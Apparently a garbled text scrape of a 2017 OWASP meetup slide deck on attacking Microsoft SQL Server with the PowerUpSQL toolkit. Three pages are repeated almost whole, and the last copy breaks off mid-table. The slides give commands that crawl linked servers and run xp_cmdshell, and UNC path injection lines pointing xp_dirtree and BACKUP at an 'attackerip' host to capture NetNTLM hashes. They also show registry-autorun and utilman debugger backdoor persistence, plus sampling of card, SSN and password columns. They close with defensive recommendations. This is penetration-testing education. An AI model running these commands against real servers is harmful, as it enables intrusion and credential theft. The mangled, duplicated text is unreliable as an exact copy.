General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 75: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 76: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 77: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

